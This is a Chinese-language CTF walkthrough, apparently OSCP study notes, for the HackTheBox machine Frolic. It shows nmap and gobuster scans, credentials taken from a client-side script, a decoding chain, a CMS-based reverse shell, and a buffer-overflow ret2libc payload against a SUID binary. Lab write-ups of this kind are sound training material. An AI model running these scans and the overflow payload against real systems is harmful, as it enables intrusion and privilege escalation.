OSCP备考_0x21_HackThBox靶机_Linux_frolic

Ethan医生2天前靶场8

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.135.112 (扫描TCP)

nmap -p139,445 -A -T5 --script=smb-enum-shares 10.129.135.112

nmap -sU --top-ports 100 10.129.135.112 (扫描UDP)

gobuster dir -u http://10.129.135.112:9999/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,txt,html

再尝试登入admin的时后发现没有提交到后台查看下前端验证,http://10.129.135.112:9999/admin/js/login.js

很明显密码为superduperlooperpassword_lol

登入成功后出现这个

Nothing here check /asdiSIAJJ0QWE9JAS

http://10.129.135.112:9999/backup/password.txt

出现账号密码:imnothuman,尝试登入1880端口也无法登入

访问后发现类似base64的挡案直接进行解密后保存看文件挡案是啥

然后进行爆破

发现16进制文件

解密出来跟上面一样 ,又回到刚开始的密码学知识点，再次将其解密，地址：https://www.splitbrain.org/_static/ook/

然后扫描路径的时后发现/dev/backup底下还有个cms

直接使用cms拿下SHELL

反弹SHELL结束后...

读取完成user.txt之后查找4000权限的文件

找到一个二进制文件，知道本靶机需要使用缓冲区溢出漏洞进行提权，具体分析可参考：https://0xdf.gitlab.io/2019/03/23/htb-frolic.html

./rop `python -c "print 'A'*52 + '\xa0\x3d\xe5\xb7' + '\xd0\x79\xe4\xb4' + '\x0b\x4a\xf7\xb7'"`

标签: OSCP

返回列表

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.82.246 (扫描TCP) &n...

名称说明靶机下载链接https://www.vulnhub.com/entry/symfonos-31,332/攻击机（kali）ip：192.168.233.168靶机（CentOS）ip：192....

先连接到外网开放的服务器openvpn xxx.ovpn信息收集nmap -p- 10.129.216.48 (这样扫描太慢了)nmap -sCV -p- --min-rate 10000 -T4 -...

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.173.82 (扫描TCP)nmap -sU --top-ports 100 ...

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.180.205 (扫描TCP)nmap -sU --top-ports 100 ...

名称说明靶机下载链接https://www.vulnhub.com/entry/tr0ll-1,100/攻击机（kali）ip：192.168.233.168靶机（CentOS）ip：192.168....

EthanDoctor